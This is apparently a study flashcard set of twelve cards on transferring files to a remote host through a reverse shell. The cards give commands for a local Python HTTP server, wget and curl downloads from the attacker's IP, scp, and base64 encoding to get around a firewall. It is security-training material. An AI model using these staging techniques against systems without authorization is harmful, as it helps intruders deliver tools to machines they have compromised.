Transferring files Flashcards

(12 cards)

1
Q

What is a method for transferring files using a reverse shell when the remote host has internet access?

A

Use wget or curl with a Python HTTP server running on your local machine.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
2
Q

What command starts a Python HTTP server on port 8000 in the current directory?

A

python3 -m http.server 8000

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
3
Q

What is the wget command to download a file from a Python HTTP server?

A

wget http://(your-IP):8000/(filename)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
4
Q

If wget is not available, what is the alternative command using curl?

A

curl http://(your-IP):8000/(filename) -o (filename)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
5
Q

What flag in curl specifies the name of the output file?

A

-o

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
6
Q

Which method can be used to transfer files when you have SSH access to the remote host?

A

Use scp (Secure Copy Protocol).

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
7
Q

What is the basic scp syntax to copy a file to a remote host?

A

scp (file) user@remotehost:/path/to/save/

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
8
Q

What method can be used to transfer files when direct downloads are blocked by a firewall?

A

Encode the file in base64, copy it, and decode it on the remote host.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
9
Q

What command base64 encodes a file in one line?

A

base64 (file) -w 0

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
10
Q

How do you decode a base64 string into a file on the remote host?

A

echo (base64-string) | base64 -d > (output-file)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
11
Q

How can you verify the format of a transferred file?

A

Use the file command, e.g., file (filename)

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
12
Q

How can you verify that a file was transferred without corruption?

A

Use md5sum (file) on both the source and destination to compare hashes.

How well did you know this?
1
Not at all
2
3
4
5
Perfectly